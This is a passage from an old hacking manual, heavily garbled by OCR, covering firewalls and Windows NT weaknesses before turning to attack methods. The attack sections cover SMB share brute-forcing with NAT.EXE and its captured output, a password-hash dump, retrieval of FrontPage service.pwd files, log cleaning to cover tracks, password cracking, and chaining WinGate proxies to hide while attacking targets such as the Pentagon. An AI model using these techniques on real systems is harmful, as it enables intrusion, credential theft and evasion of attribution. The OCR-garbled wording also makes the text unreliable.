The physical |ayout of a Screened subnet is sonewhat nore difficult, but the result is a nore
secure, robust environnent. Normally, there is a router with one connection to the outside
network and the other connection to a bastion host. The bastion host has one connection to the
outer nmost router and one connection to another bastion host, with an addressable network in the
m ddl e. The inner nost bastion host has one connection to the outer npst bastion and anot her
connection to an inside router. The inside router has one connection to the inner bastion host and
the other connection to the inside network. The result of this configuration is the security
conmponents are nornally never bogged down with traffic and all internal |P addresses are hidden
fromthe outside, preventing soneone from "mappi ng" your internal network.

Di sadvantages to using this type of firewall are:

? The can be two or three times nore expensive than other types of firewalls

? I npl enentation nust be done by sonme type of security professional, as these types of

firewalls are not for the un-initiated.

Application Level Firewalls

Application level firewalls are hosts running proxy server software | ocated between the protected
networ k and the outside network. Keep in nind that even though M crosofts product is called

Proxy Server 2.0, it is actually a stand al one Bastion Host type of system M crosoft Proxy Server
can al so, single-handedly, disguise your internal network to prevent mapping. M crosoft Proxy
Server 1.0 did not have many of the advanced features presented in version 2.0. The 1.0 version
can definitely be called a true proxy server, while the 2.0 version is nore of a firewall

Viewed fromthe client side, a proxy server is an application that services network resource
requests by pretending to be the target source. Viewed fromthe network resource side, the proxy
server is accessing network resources by pretending to be the client. Application level firewalls
al so do not allowtraffic to pass directly between to the two networks. They are also able to use
el aborate | ogging and auditing features. They tend to provide nore detailed audit reports, but

general ly, as stand al one security unites, do not performthat well. Remenber that an Application

level firewall is software running on a machine, and if that nmachine can be attacked effective and
crashed, in effect, youre crashing the firewall

You may wi sh to use an application level firewall in conjunction with network level firewalls, as

they provide the best all around security.

[7.2.3] NT Security Twi gs and Ends

Lets junmp right in. For those of you who are not riggers (architecture/ network nedi a specialists)
I et me begin by saying that NT as an operating systemis fairly safe and secure. Now you nay
think to yourself that it isn't, but think about all the Unix related security holes you know of,
a ton

huh? Anyhow, as with any operating system NT has holes, lets see what we can | earn about

these hol es, shall we?

First things first, NT does not support alot of the nornmal TCP/IP functions that youre used to.
NT

does not normally support NFS, SunRPC, NI'S, r* commands, Telnet, and some ot her obscure

ones.

In order for NT to allow for various system services to be performed on a renote conputer, it
uses RPC, renpte procedure calls. Please do not confuse this with SunRPC. You can run

NT/ RPC s over a NetBl OS/ SMB session or you can piggie back it directly off of TCP/IP (or other
transport protocol, perhaps NWink | PX/ SPX). Unfortunately we dont have any good

docunent ati on on what inherent services NT provides through native RPC. Conplex server type
prograns (Li ke Exchange) provide their owmn RPC services in addition to the ones NT provides as
an operating system--(TCP Port 135 is used as a port-napper port, we also know that if too

much information is fed through port 135, you can crash an NT box.). Sone client software nust
access TCP port 135 before accessing the RPC service itself (hint, hint). Keep in mnd that TCP
port 135 can be bl ocked. Bunmer, eh?

One probl em anong the Hacker comunity is that nost hackers dont |ike to investigate new

avenues, or explore new nethods. They will take the easy way out, using a nethod thats al ready
been docunented by soneone else. So what if they come across a systemthat has patched that
security problen? WIIl todays hacker try to find a new way i n? Nope... nost of the slackers | know
will give up. It is for this reason that alot of the nenbers in the community have never heard of
SMBs, because its a session level protocol that is not a Unix standard (although there is
sonet hi ng sonewhat |ike SMBs for Unix, known as Sanba). SMBs are used by W ndows 3. X
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Wn95, WntNT and OS/2. The one thing to remenber about SMBs is that it allows for renmote

access to shared directories, the registry, and other system services. Wich makes it inportant in
our line of, uuuhh, work. As stated above, unfortunately, there is no good docunentation of the
servi ces that use SMBs.

Now, a couple of Key Points:

SMBs are used by:

-Wn 3.X

-Wn 95

-Wn NT

-058/ 2

SMBs allow for renpte access to

-Shared directories

-The Registry

- her system services

You will find that by default all accounts in NT have conplete SMB functionality. This includes
the Guest account. (In WnNT 3.51, the guest is auto created and active, in WnNT 4.0, the guest
account is auto created but is not active) Now, 2 things to renenber: Wwen it cones to login
attenpt failures, the adm nistrator account IS NEVER | ocked out after a certain nunmber of login
attenpts (this rule ALWAYS applies), also by default, when windows NT is installed, NONE of the
accounts have fail login attenpt |lock out. Also, in order for SMB to work, UDP/TCP ports
137,138, 139 (NetBI OS over TCP) nust be open.

---A word about Renpte registry alteration: By default the Everyone group in NT has wite access
to nuch of the registry. In NT 3.51, this was a najor issue due to the renbte registry access
feature of RegEdit. Any user could manipulate the registry on any server or workstation on which
his account (or the guest account) was enabl ed. WndowsNT fixed the problemwi th this registry
key:

HKEY _LOCAL_MACHI NE\ SYSTEM Cur r ent Cont r ol Set\ Cont r ol \ Secur ePi pesSer ver s\ wi nreg

Now, true, renote registry editing is not allowed in NT4, but this rule does not apply to

Admi nistrator (or perhaps other users in the Administrators group.. ::grin::).

Ok, so far we've covered sonme pretty good information, but lets go into that new product that

m crosoft |oves so nmuch. The product they really hyped.. NTFS (NewTechnol ogi esFil eSysten

First of all, NTFSis a rip off of the OS/2 file system HPFS. No biggie, lets not get picky.
Anyhow,

NTFS is actually a beautiful thing, if used properly. NIFS allows adnministrator to not only put
access pernissions on folders, but it also allows for access perm ssions on individual files
within

t hat fol der.

Exanpl e: Jane and Ral ph both have access to the folder 'Shoes'. Theres only one file within the
'shoes' folder. Only jane has access to this one file, Ralph does not. So when Ral ph opens the
"shoe' folder, it appears enpty, but when Jane opens the 'shoe' folder, the file is there.

Now, |f an administrator does not set permissions on files within a folder but you know t he exact
path to the file, you can copy the file out of the folder onto a FAT (File Al location Table)
system

successful ly bypassing the security. Exanple:

The fol der ' Shoes' has permnissions on it. You do not have access permission to the folder, BUT if
you typed:

copy c:\shoes\secure.txt a:\

It would allow you to copy the file. Pretty neat huh?

| have heard that the | atest NT4 patches have corrected this problem | will let ya know when
get

a chance to test it out.

File Sharing, | Iove those words. SMB file and print server protocols used by NT are harder to

spoof than the NFS inplenentation on Unix systens. It is possible that a gateway (and | dont
mean t he brand nane conpany) nachi ne coul d spoof an SMB session, then read and wite any

files to which the true user of the session had access. -WARNING This nmethod is not for the
begi nner .

Now, wi ndows allows for this wonderful thing called User Profiles. This allows for users to have
|l ogin scripts, personalized desktops, etc etc. Now sone very personal information can be
contained within these profiles. For exanple, sone users put the userid and password that they
use for Mcrosoft Mail onto their |ogon script, this way when they log into the machine, it auto
| ogs
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theminto their mailbox. User profiles are stored in the ¥%SYSTEMROOT% SYSTEMB2\ CONFI G
directory and also on a shared directory on the server

Lets discuss our little friend, the special share. NT shares the
Y%SYSTEMROOT% SYSTEMB2\ REPL\ | MPORT\ SCRI PTS directory, this way, users can read

their login scripts during login. Under normal default conditions, ANYONE can access this share
and read anyone el ses login script. So whatever juicy pieces of information are in the login
scri pt

are now yours. Some other special shares are created depending on other software installed on
NT or other servers that NT has to cooperate with. These other shares will probably be discussed
i n anot her Bl ackPaper

Getting lucky with that special account. There is a certain type of NT account that has the
ability

to BackUp and Restore database and account information. Accounts of this type have the ability
to read, nodify and wite any file in the system So, if ya cant get the Adm n account, who
knows... maybe theres a backup operator account. Ya never know.

===================The Techni ques for Survival ===================

[8.0.0] NetBICS Attack Methods

This NetBI CS attack techni que was verified on Wndows 95, NT 4.0 Wrkstation, NT 4.0 Server
NT 5.0 beta 1 Wrkstation, NT 5.0 beta 1 Server, Wndows 98 beta 2.1. One of the conponents
bei ng used is NAT. EXE by Andrew Tridgell. A discussion of the tool, it swtches, and common
techni ques foll ows:

NAT. EXE [-o0 filenane] [-u userlist] [-p passlist] <address>

Swi t ches:
-0 Specify the output file. Al results fromthe scan
will be witten to the specified file, in addition

to standard output.

-u Specify the file to read usernanes from Usernanes

will be read fromthe specified file when attenpt-

ing to guess the password on the renote server.

User nanes shoul d appear one per line in the speci-

fied file.

-p Specify the file to read passwords from Passwords

will be read fromthe specified file when attenpt-

ing to guess the password on the renote server.

Passwor ds shoul d appear one per line in the speci-

fied file.

<addr ess>

Addr esses shoul d be specified in comma del i m nated

format, with no spaces. Valid address specifica-

tions include:

host name - "hostname" is added

127.0.0.1-127.0.0.3, adds addresses 127.0.0.1

t hrough 127.0.0.3

127.0.0.1-3, adds addresses 127.0.0.1 through

127.0.0.3

127.0.0.1-3,7,10-20, adds addresses 127.0.0.1

t hrough 127.0.0.3, 127.0.0.7, 127.0.0.10 through

127.0. 0. 20.

host nanme, 127. 0. 0. 1-3, adds "hostnanme" and 127.0.0.1

through 127.0.0.1

Al'l conbinations of hostnanes and address ranges as

speci fied above are valid.

[8.0.1] Conparing NAT.EXE to Mcrosoft's own executabl es

[8.0.2] First, a | ook at NBTSTAT

First we | ook at the NBTSTAT command. This command was di scussed in earlier portions of the
book ( [5.0.6] The Nbtstat Command ). In this section, you will see a demponstration of how this
tool is used and how it conpares to other Mcrosoft tools and non M crosoft tools.

What follows is pretty nuch a step by step guide to using NBTSTAT as well as extra information
Again, if youre interested in nmore NBSTAT switches and functions, view the [5.0.6] The Nbtstat
Conmand portion of the book

file://ID|//WEB/hacker/TheModHackReference.txt (64 of 169) [9/12/2004 8:18:41 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

C\nbtstat -A XXX XX. XXX. XX
Net Bl OS Renot e Machi ne Nane Tabl e
Nanme Type Status
STUDENT1 <20> UNI QUE Regi stered
STUDENT1 <00> UNI QUE Regi stered
DOVAI N1 <00> GROUP Regi stered
DOVAI N1 <1C> GROUP Regi stered
DOVAI N1 <1B> UNI QUE Regi stered
STUDENT1 <03> UNI QUE Regi stered
DOVAI N1 <1E> GROUP Regi stered
DOVAI N1 <1D> UNI QUE Regi st ered
. VBBROWSE__ . <01> GROUP Regi stered
MAC Address = 00- C0- 4F- C4- 8C- 9D
Here is a partial NetBIOS 16th bit listing:
Conput er nane <00> UNI QUE wor kst ati on servi ce nane
<00> GROUP domai n nane
Server <20> UNI QUE Server Service name
Conput er nane <03> UNI QUE Regi stered by the nessenger service. This is the conputernane
to be added to the LVHOSTS file which is not necessary to use
NAT. EXE but is necessary if you would |like to view the renote
conmput er in Network Nei ghborhood.
User nane <03> Regi stered by the nessenger service.
Domai nnane <1B> Regi sters the |ocal conputer as the naster browser for the donain
Domai nnane <1C> Regi sters the conmputer as a domain controller for the domain
(PDC or BDC)
Domai nnane <1D> Regi sters the local client as the |ocal segments naster browser
for the domain
Domai nnane <1E> Registers as a Goup Net Bl OS Nane
<BF> Networ k Monitor Name
<BE> Network Mbnitor Agent
<06> RAS Server
<1F> Net DDE
<21> RAS dient
[8.0.3] Intro to the NET conmands
The NET conmmand is a conmand that adm ns can execute through a dos wi ndow to show
i nformation about servers, networks, shares, and connections. It also has a nunber of conmmand
options that you can use to add user accounts and groups, change domain settings, and
configure shares. In this section, you will |earn about these NET conmands, and you will also
have the outline to a NET command Batch file that can be used as a primtive network security
anal ysis tool. Before we continue on with the techniques, a discussion of the avail abl e options
will
cone first:
[8.0.4] Net Accounts: This command shows current settings for password, logon linitations, and
domain information. It also contains options for updating the User accounts database and
nmodi fyi ng password and | ogon requirenents.
[8.0.5] Net Conputer: This adds or deletes conputers froma domai ns dat abase
[8.0.6] Net Config Server or Net Config Wirkstation: Displays config info about the server
service. \When used w thout specifying Server or Wrkstation, the command di splays a |ist of
configurabl e services.
[8.0.7] Net Continue: Reactivates an NT service that was suspended by a NET PAUSE
conmmand.
[8.0.8] Net File: This command lists the open files on a server and has options for closing shared
files and renoving file |ocks.
[8.0.9] Net Group: This displays infornmation about group names and has options you can use to
add or nodify gl obal groups on servers.
[8.1.0] Net Help: Help with these comrands
[8.1.1] Net Hel pnsg nmessage#. Get help with a particular net error or function nessage.
[8.1.2] Net Local group: Use this to list local groups on servers. You can also nodify those
groups.
[8.1.3] Net Name: This conmand shows the nanes of conputers and users to which nmessages
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are sent on the conputer.

[8.1.4] Net Pause: Use this conmand to suspend a certain NT service.

[8.1.5] Net Print: Displays print jobs and shared queues.

[8.1.6] Net Send: Use this comand to send nessages to other users, conmputers, or nessaging
names on the network.

[8.1.7] Net Session: Shows information about current sessions. A so has conmands for

di sconnecting certain sessions.

[8.1.8] Net Share: Use this conmand to list information about all resources being shared on a
conputer. This conmand is also used to create network shares.

[8.1.9] Net Statistics Server or Wrkstation: Shows the statistics |og.

[8.2.0] Net Stop: Stops NT services, cancelling any connections the service is using. Let it be
known that stopping one service, nay stop other services.

[8.2.1] Net Time: This command is used to display or set the tine for a conputer or domain.
[8.2.2] Net Use: This displays a list of connected conmputers and has options for connecting to
and di sconnecting from shared resources.

[8.2.3] Net User: This conmand will display a |ist of user accounts for the conputer, and has
options for creating a nodifying those accounts.

[8.2.4] Net View This command displays a |list of resources being shared on a conputer.

I ncl udi ng netware servers.

[8.2.5] Special note on DOS and ol der W ndows Machi nes: The commands |isted above are
avail able to Wndows NT Servers and Wrkstation, DOS and ol der Wndows clients have these
NET commands avail abl e:

Net Config

Net Diag (runs the diagnostic progranm

Net Hel p

Net Init (loads protocol and network adapter drivers.)

Net Logof f

Net Logon

Net Password (changes password)

Net Print

Net Start

Net Stop

Net Ti nme

Net Use

Net Ver (displays the type and version of the network redirector)

Net Vi ew

For this section, the comand being used is the NET VIEWand NET USE comands.

[8.2.6] Actual NET VIEWand NET USE Screen Captures during a hack.

C. \net view XXX, XX. XXX. XX

Shared resources at XXX XX. XXX. XX

Share nanme Type Used as Coment

NETLOGON Di sk Logon server share

Test Di sk

The conmand conpl et ed successful ly.

NOTE: The C$ ADM N$ and | PC$ are hidden and are not shown.

C.\net use /?

The syntax of this command is:

NET USE [devi cenane | *] [\\conputernane\sharename[\vol une] [password | *]]

[/ USER: [ domai nnane\ ] user nane]

[[/DELETE] | [/PERSISTENT: {YES | NO]]

NET USE [devicenanme | *] [password | *]] [/HOVE]

NET USE [/ PERSI STENT: { YES | NO}]

C:\net use x: 11XXX XX, XXX, XX\t est

The conmand conpl eted successful ly.

C: \unzi pped\ nat 10bi n>net use

New connections will be renmenbered.

Status Local Renote Network

K Xi VEXXX XX XXX XX\t est M crosoft W ndows Network

OK VXXX XX XXX XX\t est M crosoft W ndows Networ k
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The conmand conpl eted successful ly.

Here is an actual exanple of how the NAT. EXE programis used. The information listed here is
an actual capture of the activity. The | P addresses have been changed to protect, well, us.
C\nat -o output.txt -u userlist.txt -p passlist.txt XXX XX XX XX-YYY.YY.YYY. YY
Readi ng usernanmes from userlist.txt

Readi ng passwords from passlist.txt

Checki ng host: XXX, XX. XXX. XX

otaining list of renote NetBlI OS nanes

Attenpting to connect with nanme: *

Unabl e to connect

Attenpting to connect with nanme: *SMBSERVER

CONNECTED wi t h nane: * SMBSERVER

Attenmpting to connect with protocol: M CROSOFT NETWORKS 1. 03

Server time is Mon Dec 01 07:44:34 1997

Ti mezone is UTG6.0

Renote server wants us to encrypt, telling it not to

Attenpting to connect with nanme: *SMBSERVER

CONNECTED wi t h nane: * SMBSERVER

Attenmpting to establish session

WAs not able to establish session with no password

Attenpting to connect with Usernanme: ~ADM Nl STRATOR Password: "~ password'
CONNECTED: User nane: ~ADM NI STRATOR Password: ~password'

bt ai ned server infornmation:

Server =[ STUDENT1] User=[] Wbrkgroup=[ DOVAI N1] Domai n=[]

[*]--- Obtained listing of shares:

Shar enane Type Comment

ADM N$ Di sk: Renpte Admin

C$ Disk: Default share

| PC$ | PC. Renpte | PC

NETLOGON Di sk: Logon server share

Test Di sk:

[*]--- This machine has a browse |ist:

Server Commrent

— e e e A e — —

L I S SR T R R I T T T

[a—
]
1
1

et e e e e e e e e e e e e e e e e
1
1
1

[*]--- Attenpting to access share: \\*SMBSERVER

--- Unable to access

--- Attenpting to access share: \\*SMBSERVER\ ADM N$

--- WARNING Able to access share: \\*SMBSERVER\ ADM N$
--- Checking wite access in: \\*SVBSERVERH ADM N$

--- WARNING. Directory is witeable: \\*SVBSERVERH ADM N$
--- Attenpting to exercise .. bug on: \\*SVBSERVERH ADM N$
--- Attenpting to access share: \\*SMBSERVER\ C$

--- WARNING Able to access share: \\*SMBSERVER C$

--- Checking wite access in: \\*SVMBSERVER\ C$

--- WARNING Directory is witeable: \\*SVBSERVER C$

--- Attenpting to exercise .. bug on: \\*SMBSERVER C3$
--- Attenpting to access share: \\*SMBSERVER\ NETLOGON
WARNI NG Abl e to access share: \\*SVBSERVER\ NETLOGON
--- Checking wite access in: \\*SVBSERVER\ NETLOGON

--- Attenpting to exercise .. bug on: \\*SMBSERVER\ NETLOGON
--- Attenpting to access share: \\*SMBSERVER\ Test

--- WARNING Able to access share: \\*SMBSERVER\ Test

--- Checking wite access in: \\*SMBSERVER\ Test

--- Attenpting to exercise .. bug on: \\*SVBSERVER Test
--- Attenpting to access share: \\*SMBSERVER D$

--- Unable to access

--- Attenpting to access share: \\*SMBSERVER\ ROOT

--- Unable to access

--- Attenpting to access share: \\*SMVBSERVER\ W NNT$

et e e e e e e e et e e e e e e e e e e el e e e
1
1
1
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[*]--- Unable to access

If the default share of Everyone/Full Control is active, then you are done, the server is hacked
|

not, keep playing. You will be surprised what you find out.

[9.0.0] Frontpage Extension Attacks

Of course, everyone should know what M crosoft Frontpage is. The server extensions are installed
server side to provide added functionality for frontpage web authors. These extensions function
as “web bots” if you will, giving web authors that use frontpage easy access to complex web and
HTM. functions. Soon after the extensions cane into wi de use, security concerns began to popup
Most of these security concerns were very basic, the collection presented bel ow are PROVEN

met hods that have been tested repeatedly in several types of configurations.

[9.0.1] For the tech geeks, we give you an actual PWUMP

This is the pwdunp fromthe webserver the Lan Manager password is set to "password". This
PWUMP exanple is for those of you that have heard about the utility but may have never
actually seen the output of one. This dunp was used by Vacuum of rhino9 during his journey into
cracking the NT encryption algorithm

Adnmi ni strator: 500: E52CAC67419A9A224A3B108F3FA6CB6D: 8846F7EAEE8FB117ADO6BDD83

0B7586C: Bui I t-in account for administering the conputer/donain::

GJeSt 501 NO PAssvak********************: I\D PASSWU********************: BLII I t _i n

account for guest access to the conputer/domain:

STUDENT7$: 1000: E318576ED428A1DEF4B21403EFDE40DO: 1394CDD8783E60378EFEE4050

3127253: :

. IR O S S S S I I I I I I I b b b b b b b I I I I S S b S I S R I I I I b b b b b I I S S S b b b I I I I I b b b SRR

ket an: 1005: : Do
1 R I 6 b b b b b b I I R I I I S S I I I I b b b I R b I I I I I I I I I O S I I I 2 b b b b b b I I NCRNCI)
mari : 1006: : Do

n-eng- 1007- EIE R R I I O I R I R R I I R R I Rk S SR S R R I I R O I S O

| USR_STUDENT7: 1014: 582E6943331763A63BEC2B852B24C4D5: CBE9D641E74390ADICLDO
A962CE8C24B: I nternet Guest Account,|nternet Server Anonynous Access:

[9.0.2] The haccess.ctl file

The hacces.ctl file is sonetines called a shadow password file, well, this is not exactly correct.
The file can give you a lot of information, including the |ocation of the service password file. A
conpl ete exanpl e of the haccess.ctl file is given bel ow

The #haccess.ctl file:

# - Front Page-

Opti ons None

<Limt GET PCST PUT>

order deny, al | ow

deny from al

</Limt>

Aut hNanme default_realm

Aut hUserFil e c:/frontpage\ webs/content/_vti_pvt/service. pwd

Aut hGroupFil e c:/frontpage\ webs/content/_vti_pvt/service.grp

Executing fpservwi n.exe allows frontpage server extensions to be installed on

port 443 (HTTPS) Secure Sockets Layer

port 80 (HTTP)

NOTE: The Limt line. Telneting to port 80 or 443 and using GET, POST, and PUT can be used
i nstead of Front page.

The following is a list of the Internet Information server files |ocation

inrelation to the local hard drive (C) and the web (ww.target.com

C:\ I net Pub\ wwr oot <Home>

C\InetPub\scripts /Scripts

C.\ I net Pub\ wwr oot\ _vti_bin /_vti_bin

C.\ I net Pub\ wwr oot\ _vti_bin\_vti_adm/ _vti_bin/_vti_adm

C.\I net Pub\ wwwwr oot\ _vti _bin\_vti_aut /_vti_bin/_vti_aut

C.\lInetPub\cgi-bin /cgi-bin

C:\ I net Pub\ wwr oot \ srchadm / srchadm

C.\W NNT\ SystenB2\i netserv\iisadmin /iisadnmn

C:\ I net Pub\ wwwwr oot\ _vti _pvt

Front Page creates a directory _vti_pvt for the root web and for each FrontPage sub-web. For
each FrontPage web with unique perm ssions, the vti_pvt directory contains two files for the
Front Page web that the access file points to:

service.pwd contains the list of users and passwords for the FrontPage web.
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service.grp contains the list of groups (one group for authors and one for administrators in
Fr ont Page) .

On Net scape servers, there are no service.grp files. The Netscape password files are:
adm nistrators. pwd for administrators

aut hors. pwd for authors and adnministrators

users. pwd for users, authors, and adm nistrators

C:\ I net Pub\ wwr oot \ sanpl es\ Sear ch\ QUERYHI T. HTM I nternet I nformation I ndex Server sanple
If Index Information Server is running under Internet |Information Server:

service.pwd (or any other file) can sonetinmes be retrieved.

search for

"#fil ename=*. pwd"

C.\Program Fil es\M crosoft FrontPage\_vti_bin

C.\Program Fil es\M crosoft FrontPage\ _vti_bin\_vti_aut

C.\Program Fil es\ M crosoft FrontPage\_vti_bin\_vti_adm

C.\ W NNT\ Syst enB2\i net serv\iisadm n\htm docs\adm n. htm/iisadm n/isadm n
C.\lInetPub\ftproot The default

| ocation for the ftp

The ftp service by default runs on the standard port 21

Check to see if anonynous connections are allowed. By default, Internet Information Server
creates and uses the account |1USR conputernanme for all anonymous | ogons. Note that the
password is used only within Wndows NT ; anonymous users do not |og on using this user nane
and password.

Typically, anonynmous FTP users will use "anonynous" as the user nanme and their e-nail
address as the password. The FTP service then uses the | USR conputernane account as the
| ogon account for perm ssions. Wen installed, Internet Information Server’'s Setup created the
account | USR conputernane in the Wndows NT User Manager for Domains and in Internet
Servi ce Manager. This account was assigned a random password for both in Internet Service
Manager and in the Wndows NT User Manager for Domains. |If changed, the password, you nust
change it in both places and nake sure it matches.

NOTE: Nane and password are case sensitive

Scanni ng PORT 80 (http) or 443 (https) options:

GET /__vti_inf.htm #Ensures that frontpage server extensions

are install ed.

GET /_vti _pvt/service. pwd #Contai ns the encrypted password files.

Not used on IIS and WebSite servers

GET / _vti_pvt/authors. pwd #On Netscape servers only. Encrypted

nanes and passwords of authors.

GET / _vti _pvt/adnm nistrators. pwd

GET / _vti_log/author.log #If author.log is there it will need to

be cl eaned to cover your tracks

GET / sanpl es/ search/ queryhit. htm

If service.pwd is obtained it will look simlar to this:

Vacuum SGXJVI 6QJ9zKE

The above password is apple

Turn it into DES format:

Vacuum SGXJIVI 6QJ9zkE: 10: 200: Vacuum / user s/ Vacuum / bi n/ bash

[9.0.3] Side note on using John the R pper

The run your favorite unix password cracker |ike John The Ri pper

Usage: JOHN [flags] [-stdin|-w wordfile] [passwd files]

Flags: -pwfile:<file>[,..] specify passwd file(s) (wldcards all owed)

-wordfile:<file> specify wordlist file

-restore[:<file>] restore session [from<file>]

-user:loginjuid[,..] only crack this (these) user(s)

-timeout: <tine> abort session after a period of <tine> mnutes

-increnmental [: <nbde>] increnmental node [using JOHN.IN entry <node>]

-single single crack node

-stdin read words fromstdin

-list list each word

-test performa benchmark

-beep beep when a password is found

-qui et do not beep when a password is found (default)
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-nonanme don't use nenory for |ogin nanes

O her ways of obtaining service. pwd

http://ftpsearch. com i ndex. htm

search for service. pwd

http://ww. al stavi sta.digital.com

advanced search for link:"/ _vti_pvt/service. pwd"

To open a Front Page web

On the Front Page Explorer’s File menu, choose Open Front Page Wb.

In the CGetting Started dial og box, select Qpen an Existing FrontPage

Web and choose the Front Page web you want to open

Click More Webs if the web you want to open is not |isted.

Cick X

If you are pronpted for your author name and password, you will have

to decrypt service.pwd, guess or nove on

Enter themin the Nane and Password Required dialog box, and click K

Al ter the existing page, or upload a page of your own.

[10.0.0] WnGate

There have been a few papers about WnGate. Some have expl ai ned how to bounce through its

port 23 telnet proxy. Sone have expl ained how to secure it. In this section we will show you how
to use WnGate for its good and bad and you will learn fromthe good and bad exanpl es. People

in the past have said there are flaws and exploits to WnGates and this is wong. There are
system admi ns that poorly configure their systens but it is not WnGate itself that is the flaw
[10.0.1] What |Is WnGate?

WnGate is basically a programthat lets you split a connection. Ex: You can share 1 nodemwith

2 conputers. WnGate cones with several proxies and that is where the possible threat lies. (This
sharing of internet connection is known as Connection Aggregation)

Note: We will only talk about 3 of the nore used proxy portions of WnGate

[10.0.2] Defaults After Instal

When you do a regular install of WnGate wi thout changing things there are a few defaults

Port: | Service:

23 Telnet Proxy Server - This is default and running right after install.

1080 SOCKS Server - This once setup via GateKeeper has no password until you set one

6667 | RC Mapping - This once setup via Gat eKeeper has no password until you set one.

The biggest threat to your server is the port 23 tel net proxy.

[10.0.3] Port 23 Tel net Proxy

This proxy is setup and run as soon as you are done installing and to nake things worse it has no
password after install and doesn’t ask you for one. Mst system admi ns dont even know this and
dont even think to try to password it and that is where the problem arises.

The telnet proxy is quiet sinple. You telnet to port 23 on the server that is running the WnGate
tel net proxy and you get a pronpt WnGate> At this pronpt you type in the server then a space

and the port you want to connect to.

Exanpl e:

tel net w ngate. net

Connected to w ngate. net

W nGat e> victimcom 23

VWhat this exanple shows is soneone telnetting to the WnGate server and then fromthat

WnGate server telnet out of it to victimcomso on victimcoms logs it will show the wingate IP
(wi ngate.net) and therefore the person telnetting keeps her IP a secret.

[10.0.4] Port 1080 SOCKS Proxy

The socks proxy is not installed by default but as soon as you use GateKeeper to install it. It
installs with no password, unless you set one. If you are fanmliar with socks you know that there
are many things you could do with it.

[10.0.5] Port 6667 | RC Proxy

The irc proxy is |ike how we would do a wingate telnet proxy bounce to an irc server except the
irc

proxy is set to goto a certain server already. This is not set to run after install but after you
do

install it it setups with no password, unless you set one.

[10.0.6] How Do | Find and Use a W nGate?

Finding WnGates are relatively easy to do. If you would like to find static IP WnGates (IP never
changes) go to yahoo or sonething of the such and search for cable nodens. The reason for
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searching for cable nodens is because a | ot of people with cable nbdens have WnGate so that
they can split there cable nodens | arge bandwi dth and share it with the other computers in there
house. One | arge cabl e nodem conpany is Cox Cable. Their webpage can be found at

www. hone. com The Cox Cable rang of IP's are: 24.1. X X where dependi ng on what nunber X

equals is where in the country the cable nodemis |located. You can also use Port or Donain
scanners and scan for Port 1080, which Identifies a SOCKS Proxy, this is also an easy way to
find a WnGat e.

Exanpl e:

24.1.67.1 Resolves to c224084-a.frmnt 1. sfba. home. com which fromthat we know the abreveation

sfba = San Fransico Bay Area or sonething close to that.

That is howto find static IP WnGates. To find dynamic IP (IP's that change every tinme a user
logs on to the internet) WnGates it is not to hard at all. Alnost every ISP big and snmall has
users

with WnGate. You need to either know the format of an ISP s dynam c ppp addresses or you

need to get on IRC (Internet Relay Chat) and see what they are that way. Say that you al ready
have a ppp | P of arnory-us832.javanet.com Now you dns that | P and get 209.94.151. 143 now

you take the | P address and stick it into a domain scanner program Ex: Domscan which can be
found on the Rhino9 web site (rhino9.abyss.con) Ok so you have donscan now. Run donscan

and there is a box where you put in the |IP address and the port to scan for. The WnGate tel net
proxy by default runs on port 23. So we put in 209.94.151.143 in the first box in the donscan
program and then 23 in the second box and then click start. The results we will get are:
209.94.151.2
209.94.151. 4
209.94.151.6
209.94.151.1
209.94.151.8
209. 94. 151. 73

209. 94. 151. 118

209. 94. 151. 132

Now we have to check each of these IP's for the WnGate pronpt. So to do that we need to tel net

to 209.94.151.2 on port 23 and if it shows WnGate> right when we connect then it is a WnGate.

If not we go to the next address which in this case would be 209.94.151.4. W would do that for
the whole list of IPs.

Note: If we are scanning for dynamic IP WnGates it is nmore common that the | ast nunber of the

IP of the WnGate will be higher. Ex: There is a better chance that 209.94.151.132 is a WnGate
and that 209.94.151.2 is not a WnGate.

[10.0.7] | have found a WnGate tel net proxy now what ?

Well there are many uses for WnGate. The first use and probably the greatest is the WnGate
bounce techni que. Say you are going to hack the pentagon. You can use the WnGate technique

to keep yourself fromhaving a jail sentence with spike. Here is howit works. W get a collection
of WnGate IP's. First we open our telnet programand telnet to the first WnGate on our list. W
get the WnGate> pronpt and at that pronpt we type the second WnGate on our list then a

space then 23 then hit enter. Then we get another WnGate pronpt and at that pronpt we type

the third WnGate IP on our list then a space then 23 then enter and so on and so fourth until we
have bounced through about 10 or so WnGates then on the tenth WnGate we enter in the

pent agon addresss. Ex: W nGate> www. pentagon-ai.army.gov 23 and then hit enter and start

hacki ng away at it. So you ask, well cant they just trace back through all the WnGates? They
could try to trace it back and here is how it would work. The pentagon has an | P on there | ogs,
the ipis 2.2.2.2. The pentagon know that |P belongs to the an internet service provider called
interlink. So the pentagon calls interlink and then tells themthat at 3:43am on sunday an ip
address of 2.2.2.2 hacked into there conmputer system So the ISP (internet service provider)
checks there logs and sees that there user John Doe was on at that tinme with that | P on sunday.

So the pentagon has the swat teamdo a raid on John Doe's house and find nothing. Now it could

end right here or the pentagon will rmaybe see that John Doe has WnGate and then check his

| ogs. Now nost people with WnGate dont even | og so the pentagon could be stunped right there

once again or they might see that another IP went through that WnGate and then they will have

to repeat the process of calling the ISP and repeat that whole process again. Now if we went
through 10 WnGate IP's you know that sonewhere in that 10 either the ISP or the WnGate user

wont know what | P was going through them in otherwords if you bounce through 10 WnGate

IP's you are a ghost, thy sanurai... That is one use of WnGate's telnet proxy. Note: you m ght
need to do a control + enter at the WnGate> pronpt, it differs between telnet clients. Another
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use
can be for I RC spoofing. To do this we take a WnGate ip and in our irc client we connect to that
WnGate IP. This is an exanple of howit would |l ook in mRC for Wndows. Do these commands:

1. /server wi ngate. net

It then connects.

2. /quote irc.irc.net 6667

It then connects to the irc server.

3. /quote user whatever whatever whatever @erver.com what ever

4. /quote nick whatever

This sends the irc client info. Read the irc rfc for nore info on that.

Once we have done /quote nick whatever mirc will be totally connected and we can then do

what ever we want and our IP on IRC will be w ngate.net or whatever the wingate IP is. So think
about it and | am sure you can think of a few fun things to do with soneone elses IP. Note: For
you peopl e that choose to abuse this. | have already coded an anti-w ngate script for IRCto
detect you nean people that choose to abuse this.

Those are 2 of the nmore common things to do with WnGate tel net proxies.

[10.0.8] Securing the Proxys

Service That Need To Be Locked To Stop Bounci ng

23 - Tel net Proxy Server

1080 - SOCKS Server

6667 - | RC Mappi ng

Al Ports Can Be Locked The Sane Wy

1- Load Gat ekeeper

2- Logon To Wngate Server As Admi nistrator

3- Select Service To Lock

4- Right dick And Pick Properties

5- Option One O Lock Down Is Cick "Bind to specific interface" and put 127.0.0.1 in the box
